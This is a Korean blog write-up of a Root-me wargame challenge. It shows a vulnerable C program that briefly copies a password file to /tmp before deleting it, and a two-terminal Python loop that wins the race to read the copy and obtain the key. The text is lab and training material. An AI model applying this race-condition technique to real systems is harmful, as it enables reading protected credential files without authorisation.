[App-System] ELF x86 - Race condition

2022. 7. 7. 07:31·Wargame/Root me
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <string.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
 
#define PASSWORD "/challenge/app-systeme/ch12/.passwd"
#define TMP_FILE "/tmp/tmp_file.txt"
 
int main(void)
{
  int fd_tmp, fd_rd;
  char ch;
 
 
  if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0)
    {
      printf("[-] Don't use a debugguer !\n");
      abort();
    }
  if((fd_tmp = open(TMP_FILE, O_WRONLY | O_CREAT, 0444)) == -1)
    {
      perror("[-] Can't create tmp file ");
      goto end;
    }
   
  if((fd_rd = open(PASSWORD, O_RDONLY)) == -1)
    {
      perror("[-] Can't open file ");
      goto end;
    }
   
  while(read(fd_rd, &ch, 1) == 1)
    {
      write(fd_tmp, &ch, 1);
    }
  close(fd_rd);
  close(fd_tmp);
  usleep(250000);
end:
  unlink(TMP_FILE);
   
  return 0;
}

2.2. 분석

.passwd 파일을 열고, /tmp 폴더에 복사한다음 삭제한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

파일이 작성되고 삭제되기의 짧은 시간에 해당 파일을 읽어올 수 있다.

3.2. 공격 준비

hackerschool의 FTZ 이후로 오랜만의 레이스 컨디션 문제이다.

해당 프로그램은 .passwd 파일을 읽어와서 /tmp/tmp_file.txt에 쓴 다음 삭제한다.

그러므로 터미널 두개를 띄워

하나는 지속적으로 해당 파일을 실행하고

하나는 /tmp/tmp_file.txt 파일을 읽어오면 된다.

 

4. exploit

#terminal 1.

import os

while 1:
    print(os.system('~/ch12'))


#terminal 2.

import os

while 1:
    print (os.system('cp /tmp/tmp_file.txt /tmp/wvkey 2>/dev/null'))
    print (os.system('cat /tmp/wvkey 2>/dev/null'))


둘을 같이 실행하면 키를 얻을 수 있다.

728x90
반응형

'Wargame > Root me' 카테고리의 다른 글

[App-System] ELF x86 - Use After Free - basic  (0) 2022.07.08
[App-System] ELF x86 - Stack buffer overflow basic 3  (0) 2022.07.07
[App-System] ELF x86 - Format string bug basic 2  (0) 2022.07.04
[App-System] ELF x64 - Stack buffer overflow - basic  (0) 2022.07.04
[App-System] ELF x86 - Format string bug basic 1  (0) 2022.07.03
'Wargame/Root me' 카테고리의 다른 글
  • [App-System] ELF x86 - Use After Free - basic
  • [App-System] ELF x86 - Stack buffer overflow basic 3
  • [App-System] ELF x86 - Format string bug basic 2
  • [App-System] ELF x64 - Stack buffer overflow - basic
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Format String Bug
    heap
    tcache
    64bit
    BOF
    la ctf
    CANARY
    vtable
    RTL
    cryptohack
    libc
    x86
    dreamhack
    FSB
    lob
    pwntools
    x64
    phoenix
    Me
    pwnable.kr
    32bit
    ROOT ME
    root
    Buffer Overflow
    root-me
    docker
    exploit education
    _IO_FILE
    hackerschool
    rop
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-System] ELF x86 - Race condition
상단으로

티스토리툴바